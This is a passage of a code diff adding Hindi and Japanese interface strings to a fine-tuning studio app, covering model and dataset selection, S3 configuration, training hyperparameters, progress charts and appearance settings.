+      needsVram: "~{vram}GB VRAM चाहिए (GPU: {gpu}GB)",
+      tightVram: "~{vram}GB VRAM ({gpu}GB पर बमुश्किल फिट)",
+      vramEstimate: "लगभग {vram}GB VRAM",
+      method: "विधि",
+      methodTooltip:
+        "QLoRA सबसे कम VRAM के लिए 4-बिट क्वांटाइज़ेशन का उपयोग करता है। LoRA 16-बिट का उपयोग करता है। Full सभी वेट्स को अपडेट करता है। CPT (Continued Pretraining) चैट फ़ॉर्मेटिंग के बिना मॉडल को नए डोमेन के अनुकूल बनाने के लिए कच्चे टेक्स्ट पर ट्रेन करता है।",
+      readMore: "और पढ़ें",
+      fullFineTune: "फुल फ़ाइन-ट्यून",
+      checkingToken: "token जांचा जा रहा है...",
+      getOrUpdateToken: "token प्राप्त या अपडेट करें",
+      huggingFaceTokenOptional: "Hugging Face Token (वैकल्पिक)",
+      continuedPretraining: "निरंतर प्री-ट्रेनिंग",
+      localModels: "स्थानीय मॉडल",
+      localModelsFound: "{count} स्थानीय/कैश किए गए मॉडल मिले",
+      loadingLocalModels: "स्थानीय मॉडल लोड हो रहे हैं...",
+    },
+    dataset: {
+      title: "डेटासेट",
+      description: "ट्रेनिंग डेटा चुनें या अपलोड करें",
+      source: "डेटासेट स्रोत",
+      chooseDataset: "डेटासेट चुनें",
+      chooseDatasetTooltip:
+        "Hugging Face और स्थानीय recipe आउटपुट के बीच स्विच करने के लिए पॉपअप टैब का उपयोग करें।",
+      localTab: "स्थानीय",
+      searchHuggingFaceDatasets: "Hugging Face डेटासेट खोजें...",
+      searchLocalDatasets: "स्थानीय डेटासेट खोजें...",
+      searching: "खोजा जा रहा है...",
+      noDatasetsFound: "कोई डेटासेट नहीं मिला",
+      loadingLocalDatasets: "स्थानीय डेटासेट लोड हो रहे हैं...",
+      failedToLoadLocalDatasets: "स्थानीय डेटासेट लोड करने में विफल।",
+      noLocalDatasetsYet: "अभी तक कोई स्थानीय डेटासेट नहीं।",
+      noLocalDatasetsMatchSearch: "कोई स्थानीय डेटासेट खोज से मेल नहीं खाता।",
+      openDataRecipes: "Data Recipes खोलें",
+      browsingSource: "{browsing} ब्राउज़ कर रहे हैं। वर्तमान चयन {current} रहता है।",
+      localDatasets: "स्थानीय डेटासेट",
+      localDataset: "स्थानीय डेटासेट",
+      localDatasetRows: " / {count} पंक्तियां",
+      huggingFaceDataset: "Hugging Face डेटासेट",
+      localDatasetMetadata: "स्थानीय डेटासेट मेटाडेटा",
+      dataRecipeOutput: "Data Recipe आउटपुट।",
+      rows: "पंक्तियां",
+      columns: "कॉलम",
+      batches: "बैच",
+      updated: "अपडेट किया गया",
+      evalDataset: "Eval डेटासेट",
+      uploading: "अपलोड हो रहा है...",
+      upload: "अपलोड करें",
+      uploadEvalFile: "eval फ़ाइल अपलोड करें",
+      evalDatasetDescription:
+        "वैकल्पिक। यदि प्रदान नहीं किया गया, तो ट्रेनिंग डेटा से एक छोटा हिस्सा अलग किया जाएगा।",
+      advanced: "उन्नत",
+      targetFormat: "लक्ष्य प्रारूप",
+      targetFormatTooltip:
+        "आपके ट्रेनिंग डेटा का प्रारूप। ऑटो-डिटेक्ट अधिकांश डेटासेट के लिए काम करता है।",
+      auto: "स्वतः",
+      rawText: "कच्चा टेक्स्ट",
+      trainSplitStart: "ट्रेन स्प्लिट प्रारंभ",
+      trainSplitStartTooltip:
+        "एक प्रारंभ पंक्ति इंडेक्स (समावेशी, 0-आधारित) निर्दिष्ट करके केवल अपने ट्रेनिंग स्प्लिट के उपसमूह पर ट्रेन करें। पहली पंक्ति से शुरू करने के लिए खाली छोड़ें।",
+      trainSplitEnd: "ट्रेन स्प्लिट समाप्त",
+      trainSplitEndTooltip:
+        "ट्रेनिंग स्प्लिट से शामिल करने के लिए अंतिम पंक्ति इंडेक्स (समावेशी, 0-आधारित)। उदाहरण के लिए, पहली 100 पंक्तियों पर ट्रेन करने के लिए प्रारंभ को 0 और समाप्त को 99 सेट करें। सभी शेष पंक्तियों का उपयोग करने के लिए खाली छोड़ें।",
+      endPlaceholder: "समाप्त",
+      clear: "साफ़ करें",
+      dropFileOrClick: "यहां 1 फ़ाइल छोड़ें या अपलोड करने के लिए क्लिक करें",
+      viewDataset: "डेटासेट देखें",
+      uploadFailed: "अपलोड विफल",
+      unknownError: "अज्ञात त्रुटि",
+      unsupportedFileType: "असमर्थित फ़ाइल प्रकार",
+      uploadOneFileType: "एक {types} फ़ाइल अपलोड करें।",
+      datasetUploaded: "डेटासेट अपलोड किया गया",
+      evalDatasetUploaded: "Eval डेटासेट अपलोड किया गया",
+      uploadOneFileAtATime: "एक बार में एक फ़ाइल अपलोड करें",
+      uploadSingleFileDescription:
+        "ट्रेनिंग डेटासेट अपलोड एक ही फ़ाइल स्वीकार करता है।",
+      checkingToken: "token जांचा जा रहा है...",
+      getOrUpdateToken: "token प्राप्त या अपडेट करें",
+      preview: "डेटासेट का पूर्वावलोकन करें",
+      split: "स्प्लिट",
+      subset: "उपसमूह",
+      s3: {
+        title: "S3 कॉन्फ़िगरेशन",
+        description:
+          "Amazon S3 से .parquet, .json, .jsonl, या .csv डेटासेट लोड करें",
+        bucket: "बकेट नाम",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS क्षेत्र",
+        regionPlaceholder: "us-east-1",
+        prefix: "पथ प्रीफ़िक्स",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "बकेट में आपकी डेटासेट फ़ाइलों का वैकल्पिक पथ",
+        accessKeyId: "एक्सेस Key ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "सीक्रेट एक्सेस Key",
+        secretAccessKeyPlaceholder: "आपकी AWS सीक्रेट एक्सेस key",
+        useIamRole: "IAM Role का उपयोग करें",
+        useIamRoleTooltip:
+          "एक्सेस keys के बजाय IAM role क्रेडेंशियल का उपयोग करें (EC2/SageMaker के लिए अनुशंसित)",
+        testConnection: "कनेक्शन जांचें",
+        connectionSuccess: "S3 बकेट से सफलतापूर्वक कनेक्ट हुआ",
+        connectionFailed: "S3 बकेट से कनेक्ट करने में विफल",
+        comingSoon: "S3 एकीकरण जल्द आ रहा है",
+        comingSoonDescription:
+          "S3 डेटासेट लोडिंग के लिए boto3 आवश्यक है। यह सुविधा विकासाधीन है।",
+      },
+    },
+    params: {
+      title: "पैरामीटर",
+      description: "ट्रेनिंग हाइपरपैरामीटर कॉन्फ़िगर करें",
+      projectName: "प्रोजेक्ट नाम",
+      optional: "वैकल्पिक",
+      projectNameDescription:
+        "ट्रेनिंग आउटपुट फ़ोल्डर नामों, एक्सपोर्ट डिफ़ॉल्ट, और इतिहास में उपयोग किया जाता है।",
+      loraSettings: "LoRA सेटिंग्स",
+      trainingHyperparameters: "ट्रेनिंग हाइपरपैरामीटर",
+      maxSteps: "अधिकतम स्टेप्स",
+      epochs: "एपॉक",
+      useMaxSteps: "अधिकतम स्टेप्स का उपयोग करें",
+      useEpochs: "एपॉक का उपयोग करें",
+      maxStepsTooltip: "कुल ऑप्टिमाइज़र स्टेप्स को ओवरराइड करें।",
+      epochsTooltip: "डेटासेट पर पूर्ण पास की संख्या।",
+      epochsDescription: "प्रत्येक एपॉक आपके डेटासेट पर एक पूर्ण पास है।",
+      maxStepsDescription:
+        "ट्रेनिंग को ऑप्टिमाइज़र स्टेप्स की एक निश्चित संख्या तक सीमित करता है।",
+      contextLength: "कॉन्टेक्स्ट लंबाई",
+      contextLengthTooltip: "प्रति ट्रेनिंग सैंपल अधिकतम टोकन संख्या।",
+      customContextLength: "एक कस्टम मान दर्ज करें",
+      contextLengthDescription: "ट्रेनिंग सैंपल के लिए अधिकतम अनुक्रम लंबाई",
+      learningRate: "लर्निंग रेट",
+      learningRateTooltip:
+        "वेट अपडेट के लिए स्टेप साइज़। कम मान धीमी लेकिन अधिक स्थिर ट्रेनिंग करते हैं।",
+      learningRateDescription:
+        "अनुशंसित: LoRA के लिए 2e-4, CPT के लिए 5e-5, फुल फ़ाइन-ट्यून के लिए 2e-5",
+      embeddingLearningRate: "एम्बेडिंग लर्निंग रेट",
+      embeddingLearningRateTooltip:
+        "केवल तब उपयोग किया जाता है जब CPT embed_tokens को ट्रेन कर रहा हो। एम्बेडिंग LoRA वेट्स की तुलना में अधिक आसानी से अस्थिर हो जाती हैं, इसलिए उन्हें आमतौर पर एक छोटी LR की आवश्यकता होती है। lr/10 उपयोग करने के लिए खाली छोड़ें; सामान्य कार्यशील सीमा मुख्य LR से 2x-10x छोटी है। इसे केवल तभी बढ़ाएं जब शब्दावली या डोमेन-टोकन अनुकूलन बहुत धीमा हो।",
+      embeddingLearningRateDescription:
+        "lr/10 उपयोग करने के लिए खाली छोड़ें (अनुशंसित)। सामान्य सीमा मुख्य लर्निंग रेट से 2x-10x छोटी है।",
+      rank: "Rank",
+      rankTooltip:
+        "लो-रैंक मैट्रिक्स का आयाम। अधिक = अधिक क्षमता।",
+      alpha: "Alpha",
+      alphaTooltip: "LoRA अपडेट के लिए स्केलिंग फ़ैक्टर। आमतौर पर rank का 2x।",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "ओवरफ़िटिंग कम करने के लिए LoRA लेयर्स के लिए dropout प्रायिकता।",
+      visionLayers: "विज़न लेयर्स",
+      languageLayers: "लैंग्वेज लेयर्स",
+      attentionModules: "अटेंशन मॉड्यूल",
+      mlpModules: "MLP मॉड्यूल",
+      targetModules: "लक्ष्य मॉड्यूल",
+      enableLora: "LoRA सक्षम करें",
+      trainWithLora: "LoRA के साथ ट्रेन करें",
+      stableRank: "स्थिर Rank",
+      memoryEfficient: "मेमोरी कुशल",
+      optimization: "ऑप्टिमाइज़ेशन",
+      schedule: "शेड्यूल",
+      memory: "मेमोरी",
+      optimizer: "ऑप्टिमाइज़र",
+      optimizerTooltip:
+        "ऑप्टिमाइज़ेशन एल्गोरिदम। 8-बिट वेरिएंट मेमोरी उपयोग कम करते हैं। विज़न मॉडल के लिए Fused अनुशंसित है।",
+      lrScheduler: "LR शेड्यूलर",
+      lrSchedulerTooltip:
+        "ट्रेनिंग के दौरान लर्निंग रेट कैसे बदलता है। Linear स्थिर रूप से घटता है; cosine एक वक्र में घटता है।",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "बैच साइज़",
+      batchSizeTooltip: "प्रति स्टेप प्रोसेस किए गए सैंपल। अधिक होने पर अधिक VRAM उपयोग करता है।",
+      gradAccum: "ग्रेडिएंट संचय",
+      gradAccumTooltip: "अतिरिक्त VRAM के बिना बड़े बैच साइज़ का अनुकरण करता है।",
+      weightDecay: "वेट डिके",
+      weightDecayTooltip: "ओवरफ़िटिंग रोकने के लिए L2 रेगुलराइज़ेशन।",
+      warmupSteps: "वार्मअप स्टेप्स",
+      warmupStepsTooltip:
+        "स्थिरता के लिए ट्रेनिंग की शुरुआत में LR को धीरे-धीरे बढ़ाएं।",
+      scheduleEpochsTooltip:
+        "डेटासेट पर पूर्ण पास की संख्या। अधिकतम स्टेप्स के अनुसार चलाने के लिए 0 सेट करें।",
+      saveSteps: "सेव स्टेप्स",
+      saveStepsTooltip: "हर N स्टेप्स पर एक चेकपॉइंट सहेजें। अक्षम करने के लिए 0।",
+      evalSteps: "Eval स्टेप्स",
+      evalStepsTooltip:
+        "मूल्यांकनों के बीच कुल ट्रेनिंग स्टेप्स का अंश (0-1)। मूल्यांकन अक्षम करने के लिए 0 सेट करें। उदा. 0.01 = हर 1% स्टेप्स पर मूल्यांकन करें।",
+      seed: "सीड",
+      seedTooltip: "पुनरुत्पादन के लिए रैंडम seed।",
+      gradCheckpoint: "ग्रेडिएंट चेकपॉइंट",
+      gradCheckpointTooltip:
+        "एक्टिवेशन को फिर से गणना करके कंप्यूट को मेमोरी से बदलें।",
+      none: "कोई नहीं",
+      standard: "मानक",
+      enablePacking: "packing सक्षम करें",
+      assistantCompletionsOnly: "केवल असिस्टेंट completions",
+      readMore: "और पढ़ें",
+    },
+    training: {
+      title: "ट्रेनिंग",
+      description: "ट्रेनिंग की निगरानी और नियंत्रण करें",
+      chartNoDataTitle: "अभी तक कोई ट्रेनिंग डेटा नहीं",
+      chartNoDataDescription: "loss प्रगति देखने के लिए ट्रेनिंग शुरू करें",
+      startTraining: "ट्रेनिंग शुरू करें",
+      starting: "शुरू हो रहा है...",
+      loadingModel: "मॉडल लोड हो रहा है...",
+      checkingDataset: "डेटासेट जांचा जा रहा है...",
+      configLabel: "ट्रेनिंग कॉन्फ़िग",
+      upload: "अपलोड करें",
+      uploadConfigTooltip: "एक सहेजा गया YAML कॉन्फ़िग लोड करें",
+      save: "सहेजें",
+      saveConfigTooltip: "वर्तमान कॉन्फ़िग को YAML के रूप में डाउनलोड करें",
+      reset: "रीसेट करें",
+      resetConfigTooltip: "मॉडल डिफ़ॉल्ट पर रीसेट करें",
+      configLoaded: "कॉन्फ़िग लोड हुआ",
+      failedToLoadConfig: "कॉन्फ़िग लोड करने में विफल",
+      invalidYamlFile: "अमान्य YAML फ़ाइल",
+      failedToReadFile: "फ़ाइल पढ़ने में विफल",
+      parametersReset: "पैरामीटर मॉडल डिफ़ॉल्ट पर रीसेट किए गए",
+      audioIncompatible:
+        "यह मॉडल ऑडियो का समर्थन नहीं करता। एक ऑडियो-सक्षम मॉडल पर स्विच करें या एक गैर-ऑडियो डेटासेट चुनें।",
+      visionIncompatible:
+        "टेक्स्ट मॉडल मल्टीमॉडल डेटासेट के साथ संगत नहीं है। एक विज़न मॉडल पर स्विच करें या एक केवल-टेक्स्ट डेटासेट चुनें।",
+      cancelTitle: "ट्रेनिंग रद्द करें",
+      cancelDescription: "क्या आप वर्तमान ट्रेनिंग रन को रद्द करना चाहते हैं?",
+      continueAction: "ट्रेनिंग जारी रखें",
+      cancelAction: "ट्रेनिंग रद्द करें",
+      stopTitle: "ट्रेनिंग रोकें",
+      stopDescription: "चुनें कि आप वर्तमान ट्रेनिंग रन को कैसे रोकना चाहते हैं।",
+      stopAction: "रोकें",
+      stopping: "रोका जा रहा है...",
+      stopAndSave: "रोकें और सहेजें",
+      compareInChat: "चैट में तुलना करें",
+      exportModel: "मॉडल एक्सपोर्ट करें",
+      milestone: "मील का पत्थर",
+      halfwayDone: "आधा हो गया। ट्रेनिंग 50% पार कर चुकी है।",
+      doneNextStep:
+        "ट्रेनिंग पूर्ण। अगला चरण: बेस बनाम फ़ाइन-ट्यून किए गए आउटपुट की तुलना करें।",
+    },
+    history: {
+      title: "इतिहास",
+      emptyTitle: "अभी तक कोई ट्रेनिंग रन नहीं",
+      emptyDescription:
+        "अभी तक कोई ट्रेनिंग रन नहीं। कॉन्फ़िगर टैब में अपनी पहली ट्रेनिंग रन शुरू करें।",
+      loadError: "ट्रेनिंग रन लोड करने में विफल",
+      deleteError: "ट्रेनिंग रन हटाने में विफल। कृपया पुनः प्रयास करें।",
+      retry: "पुनः प्रयास करें",
+      loadMore: "और लोड करें",
+      loading: "लोड हो रहा है...",
+      loadingRun: "ट्रेनिंग रन लोड हो रही है...",
+      runNotFound: "रन नहीं मिली",
+      deleteTitle: "ट्रेनिंग रन हटाएं?",
+      deleteDescription:
+        "यह इस ट्रेनिंग रन और इसके सभी मेट्रिक्स को स्थायी रूप से हटा देगा। इस कार्रवाई को पूर्ववत नहीं किया जा सकता।",
+      runCount: "{count} रन",
+      oneRun: "1 रन",
+      resume: "फिर से शुरू करें",
+      resumeTraining: "ट्रेनिंग फिर से शुरू करें",
+      resuming: "फिर से शुरू हो रहा है...",
+      deleteRun: "रन हटाएं",
+      loss: "Loss",
+      steps: "स्टेप्स",
+      lossTrendSparkline: "Loss ट्रेंड स्पार्कलाइन",
+      relativeJustNow: "अभी",
+      relativeMinutesAgo: "{count} मिनट पहले",
+      relativeHoursAgo: "{count} घंटे पहले",
+      relativeDaysAgo: "{count} दिन पहले",
+      status: {
+        completed: "पूर्ण",
+        stopped: "रोका गया",
+        error: "त्रुटि",
+        running: "चल रहा है",
+        continued: "जारी रखा गया",
+      },
+      message: {
+        completed: "ट्रेनिंग पूर्ण हुई",
+        stopped: "ट्रेनिंग रोकी गई",
+        running: "ट्रेनिंग जारी है",
+        errored: "ट्रेनिंग में त्रुटि हुई",
+      },
+      copyPreviewLink: "पूर्वावलोकन लिंक कॉपी करें",
+      previewLinkCopied: "पूर्वावलोकन लिंक कॉपी किया गया",
+      previewLinkCopyFailed: "लिंक कॉपी नहीं किया जा सका",
+    },
+    charts: {
+      settings: "चार्ट सेटिंग्स",
+      settingsDescription:
+        "ट्रेनिंग चलते रहने के दौरान चार्ट प्रस्तुति को समायोजित करें।",
+      openSettings: "चार्ट सेटिंग्स खोलें",
+      viewWindow: "व्यू विंडो",
+      viewWindowDescription: "केवल नवीनतम स्टेप्स या पूरा इतिहास दिखाएं।",
+      window: "विंडो",
+      all: "सभी",
+      trainingLoss: "ट्रेनिंग Loss",
+      trainingLossDescription: "ओवरले और EMA स्मूदिंग को नियंत्रित करें।",
+      smoothing: "स्मूदिंग",
+      smoothingDescription: "अधिक स्मूदिंग के लिए दाईं ओर ले जाएं। `0` = कच्चा।",
+      showRawLoss: "कच्चा loss दिखाएं",
+      showSmoothedLoss: "स्मूद किया गया loss दिखाएं",
+      showAverageLine: "औसत रेखा दिखाएं",
+      scaleAndCleanup: "स्केल और क्लीनअप",
+      linear: "Linear",
+      log: "Log",
+      noClip: "कोई clip नहीं",
+      clipP99: "क्लिप p99",
+      clipP95: "क्लिप p95",
+      lossAxis: "Loss अक्ष",
+      gradientNormAxis: "ग्रेडिएंट नॉर्म अक्ष",
+      learningRateAxis: "लर्निंग रेट अक्ष",
+      resetDefaults: "डिफ़ॉल्ट रीसेट करें",
+      loss: "Loss",
+      smoothed: "स्मूद किया गया",
+      evalLoss: "मूल्यांकन Loss",
+      learningRate: "लर्निंग रेट",
+      lr: "LR",
+      gradNorm: "ग्रेडिएंट नॉर्म",
+      gradientNorm: "ग्रेडिएंट नॉर्म",
+      step: "स्टेप {step}",
+      averageValue: "औसत {value}",
+      waitingForFirstEvaluationStep: "पहले मूल्यांकन स्टेप की प्रतीक्षा में...",
+      evaluationNotConfigured: "मूल्यांकन कॉन्फ़िगर नहीं किया गया",
+      evalChartWillAppear: "eval_steps तक पहुंचने पर चार्ट दिखाई देगा",
+      setEvalDatasetAndSteps:
+        "eval loss ट्रैक करने के लिए eval डेटासेट और eval_steps सेट करें",
+    },
+    progress: {
+      title: "ट्रेनिंग प्रगति",
+      liveMetrics: "लाइव ट्रेनिंग मेट्रिक्स",
+      exportGguf: "GGUF में एक्सपोर्ट करें",
+      openConfig: "ट्रेनिंग कॉन्फ़िग खोलें",
+      configLabel: "ट्रेनिंग कॉन्फ़िग",
+      hyperparams: "हाइपरपैराम्स",
+      epochs: "एपॉक",
+      batchSize: "बैच साइज़",
+      learningRate: "लर्निंग रेट",
+      optimizer: "ऑप्टिमाइज़र",
+      maxSteps: "अधिकतम स्टेप्स",
+      contextLength: "कॉन्टेक्स्ट लंबाई",
+      warmupSteps: "वार्मअप स्टेप्स",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "वेरिएंट",
+      epoch: "एपॉक {value}",
+      percentComplete: "{percent}% पूर्ण",
+      stepProgress: "स्टेप {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "ग्रेडिएंट नॉर्म",
+      project: "प्रोजेक्ट",
+      model: "मॉडल",
+      method: "विधि",
+      elapsed: "बीता समय: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} स्टेप्स/से",
+      noStepsPerSecond: "-- स्टेप्स/से",
+      tokens: "टोकन: {value}",
+      gpuMonitor: "GPU मॉनिटर",
+      live: "लाइव",
+      utilization: "उपयोग",
+      temperature: "तापमान",
+      vram: "VRAM",
+      power: "पावर",
+      phase: {
+        idle: "निष्क्रिय",
+        downloadingModel: "मॉडल डाउनलोड हो रहा है",
+        downloadingDataset: "डेटासेट डाउनलोड हो रहा है",
+        loadingModel: "मॉडल लोड हो रहा है",
+        loadingDataset: "डेटासेट लोड हो रहा है",
+        configuring: "कॉन्फ़िगर हो रहा है",
+        training: "ट्रेनिंग हो रही है",
+        completed: "पूर्ण",
+        error: "त्रुटि",
+        stopped: "रोका गया",
+      },
+    },
+    trainingStart: {
+      ready: "तैयार",
+      downloading: "डाउनलोड हो रहा है",
+      preparing: "तैयार हो रहा है",
+      left: "{eta} शेष",
+      downloaded: "{size} डाउनलोड किया गया",
+      terminalStart: "> unsloth ट्रेनिंग शुरू हो रही है...",
+      preparingResources: "> मॉडल और डेटासेट तैयार हो रहे हैं...",
+      gettingReady: "> हम आपकी रन के लिए सब कुछ तैयार कर रहे हैं...",
+      waitingForFirstStep: "> {message} | पहले स्टेप की प्रतीक्षा में... ({step})",
+      resumingTraining: "ट्रेनिंग फिर से शुरू हो रही है...",
+      startingTraining: "ट्रेनिंग शुरू हो रही है...",
+      dataset: "डेटासेट",
+      datasetStreaming: "डेटासेट: स्ट्रीमिंग (कोई पूर्ण डाउनलोड नहीं)",
+      modelWeights: "मॉडल वेट्स",
+    },
+    tour: {
+      guidedTour: "गाइडेड टूर",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/ja.ts b/studio/frontend/src/i18n/locales/ja.ts
index f2020f3cfb..23752b6c26 100644
--- a/studio/frontend/src/i18n/locales/ja.ts
+++ b/studio/frontend/src/i18n/locales/ja.ts
@@ -2,6 +2,9 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 // See /studio/LICENSE.AGPL-3.0
 
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
 export const ja = {
   common: {
     cancel: "キャンセル",
@@ -38,10 +41,11 @@ export const ja = {
       compare: "比較",
       search: "検索",
       hub: "ハブ",
-      train: "トレイン",
+      train: "トレーニング",
       recipes: "レシピ",
       export: "エクスポート",
       recents: "履歴",
+      noChatsYet: "チャットがまだありません",
       settings: "設定",
       api: "API",
       lightMode: "ライトモード",
@@ -88,15 +92,19 @@ export const ja = {
       title: "設定",
       description: "Unsloth の環境設定を管理します。",
       closeAriaLabel: "設定を閉じる",
+      searchPlaceholder: "設定を検索…",
+      searchNoResults: "設定が見つかりません。",
     },
     tabs: {
       general: "一般",
       profile: "プロフィール",
       appearance: "外観",
+      resources: "システム",
       chat: "チャット",
       connections: "接続",
       apiKeys: "API",
       about: "情報",
+      voice: "音声",
     },
     general: {
       title: "一般",
@@ -108,7 +116,7 @@ export const ja = {
       showToken: "トークンを表示",
       tokenSaved: "トークンを保存しました",
       password: "パスワード",
-      passwordDescription: "この Studio アカウントのパスワードを変更します。",
+      passwordDescription: "この Unsloth アカウントのパスワードを変更します。",
       passwordDialog: {
         trigger: "パスワード変更",
         title: "パスワード変更",
@@ -136,6 +144,18 @@ export const ja = {
         loadError: "Helper LLM 設定の読み込みに失敗しました。",
         saveError: "Helper LLM 設定の保存に失敗しました。",
       },
+      modelAutoSwitch: {
+        sectionTitle: "モデル自動切り替え (OpenAI API)",
+        enable: "リクエストごとにモデルを切り替え",
+        enableDescription: "OpenAI互換のリクエストが別のダウンロード済み GGUF を指定した場合、応答する前にそのモデルを読み込みます。デフォルトはオフです。不明な名前の場合は、読み込み済みのモデルで応答を続けます。",
+        idleUnload: "アイドル時の自動アンロード",
+        idleUnloadDescription: "指定した秒数だけアイドル状態が続くとモデルをアンロードして VRAM を解放します。次のリクエストで再読み込みされます。0 にすると読み込んだままにします。",
+        idleNeedsEnable: "アンロードされたモデルが次回使用時に再読み込みされるように、「リクエストごとにモデルを切り替え」をオンにしてください。",
+        idleActiveViaEnv: "アイドル時の自動アンロードは UNSLOTH_MODEL_IDLE_TTL 環境変数によって有効になっています。",
+        loadError: "モデル自動切り替え設定の読み込みに失敗しました。",
+        saveError: "モデル自動切り替え設定の保存に失敗しました。",
+        idleError: "秒数を整数（0 以上）で入力してください。",
+      },
       previewSharing: {
         sectionTitle: "プレビュー共有",
         enableLabel: "公開プレビューリンク",
@@ -166,6 +186,18 @@ export const ja = {
         maxUploadSize: "トレーニングデータセットのアップロード容量制限",
         maxUploadSizeDescription: "デフォルトは {defaultSize} MB です。",
       },
+      rag: {
+        sectionTitle: "ドキュメントと RAG",
+        embeddingModel: "埋め込みモデル",
+        embeddingModelDescription: "ドキュメントのインデックス作成と検索に使用する Hugging Face モデルまたはローカルパス。デフォルトは {defaultModel} です。",
+        reindexWarning: "新しくインデックスされるドキュメントにのみ影響します。モデルを変更した後は、既存のドキュメントを再アップロードしてください。",
+        emptyError: "Hugging Face モデル ID またはローカルパスを入力してください。",
+        loadError: "埋め込みモデル設定の読み込みに失敗しました。",
+        saveError: "埋め込みモデルの保存に失敗しました。",
+        saved: "埋め込みモデルを保存しました。",
+        saveAnyway: "そのまま保存",
+        resetAction: "デフォルトに戻す",
+      },
       storage: {
         sectionTitle: "ストレージ",
         modelsFolder: "モデルフォルダ",
@@ -197,7 +229,11 @@ export const ja = {
       avatarShape: "プロフィール写真の形状",
       avatarShapeCircle: "円形",
       avatarShapeRounded: "角丸",
-      chooseSloth: "またはナマケモノを選択",
+      greetingSloth: "挨拶にナマケモノを表示",
+      greetingSlothDescription: "チャットの挨拶にナマケモノを表示します。",
+      chooseSloth: "またはナマケモノのプロフィール画像を選択",
+      noPicture: "プロフィール画像なし",
+      noneLabel: "なし",
       nameSaved: "プロフィール名を保存しました",
       namePersistErrorTitle: "プロフィール名を永続化できませんでした",
       namePersistErrorDescription: "名前はこのセッション用に更新されましたが、再読み込み後に保持されない可能性があります。",
@@ -218,16 +254,161 @@ export const ja = {
         light: "ライト",
         dark: "ダーク",
       },
+      palette: {
+        label: "カラーパレット",
+        description: "Unsloth 全体で使用される配色。ライト・ダーク両対応。",
+        standard: "スタンダード",
+        classic: "クラシック",
+        minimal: "ミニマル",
+      },
+      custom: {
+        reset: "リセット",
+        resetAll: "カスタマイズをリセット",
+        preferencesTitle: "環境設定",
+        colors: {
+          lightGroup: "ライトテーマ",
+          darkGroup: "ダークテーマ",
+          accent: "アクセント",
+          background: "背景",
+          foreground: "文字色",
+        },
+        fontDefault: "デフォルト",
+        fontBundledGroup: "内蔵",
+        fontImportedGroup: "インポート済み",
+        fontDeviceGroup: "このデバイス",
+        fontFolderGroup: "フォルダから",
+        fontDeviceLoading: "デバイスのフォントを検索中…",
+        fontSearch: "フォントを検索…",
+        fontNoResults: "フォントが見つかりません。",
+        colorPicker: {
+          hue: "色相",
+          hex: "16進カラー",
+          eyedropper: "画面から色を選択",
+        },
+        uiFont: {
+          label: "UI フォント",
+        },
+        headingFont: {
+          label: "見出しフォント",
+        },
+        chatFont: {
+          label: "チャットフォント",
+        },
+        codeFont: {
+          label: "コードフォント",
+        },
+        importFont: {
+          upload: "アップロード",
+          scanFolder: "フォルダを選択",
+          alreadyAvailable: "このフォントは既に利用可能なため、既存のものを使用します。",
+          folderNoFonts: "そのフォルダにフォントファイルが見つかりませんでした。",
+          remove: "削除",
+          errorInvalidType:
+            "サポートされていないファイル形式です。.woff2、.woff、.ttf、.otf を使用してください。",
+          errorTooLarge: "フォントファイルが大きすぎます（最大 1.5 MB）。",
+          errorLimit: "インポートできるフォントは最大 3 つです。",
+          errorStorageFull: "ローカルストレージの空き容量が足りません。先にインポート済みフォントを削除してください。",
+          errorFailed: "このフォントファイルを読み込めませんでした。",
+        },
+        uiFontSize: {
+          label: "UI フォントサイズ",
+          description: "Unsloth UI の基本サイズを調整します。",
+        },
+        codeFontSize: {
+          label: "コードフォントサイズ",
+          description: "コードの基本サイズを調整します。",
+        },
+        fontSmoothing: {
+          label: "フォントスムージング",
+          description: "滑らかなアンチエイリアスを使用します。",
+        },
+        contrast: {
+          label: "コントラスト",
+          description: "枠線と補助テキストの強さ。",
+        },
+        reduceMotion: {
+          label: "モーションを減らす",
+          description: "アニメーションを減らすか、システム設定に従います。",
+          system: "システム",
+          on: "オン",
+          off: "オフ",
+        },
+        pointerCursors: {
+          label: "ポインターカーソルを使用",
+          description:
+            "操作可能な要素にカーソルを合わせたときにポインターに変更します。",
+        },
+      },
       language: {
         title: "言語",
         label: "表示言語",
         description: "Unsloth で使用される言語。",
+        autoDetect: "自動検出",
       },
       layout: {
         title: "レイアウト",
         compactSidebar: "デフォルトでサイドバーを固定",
         compactSidebarDescription: "サイドバーをアイコンに折りたたまず、展開したままにします。",
       },
+      sidebarMenu: {
+        title: "サイドバーメニュー",
+        description:
+          "サイドバーのプロフィールメニュー項目の表示と並び順を変更します。設定、ヘルプ、ログアウト、シャットダウンは固定です。",
+        darkModeToggle: "ダークモード切り替え",
+        dragToReorder: "ドラッグして並べ替え",
+      },
+    },
+    resources: {
+      title: "システム",
+      description: "この Studio サーバーのハードウェアとストレージを監視します。",
+      liveUpdates: "リアルタイム更新",
+      floatingWindow: "フローティングウィンドウ",
+      disableOverlay: "オーバーレイを無効化",
+      liveMonitor: {
+        title: "リアルタイムモニター",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "ディスク",
+        vram: "VRAM",
+        cpuCores: "論理 {logical} / 物理 {physical} コア",
+        currentLoad: "現在の負荷",
+        free: "{value} 空き",
+        noGpu: "認識できる GPU がありません",
+      },
+      gpu: {
+        title: "GPU デバイス",
+        noGpu: "認識できる GPU が検出されませんでした。上には CPU のみのリソースが表示されています。",
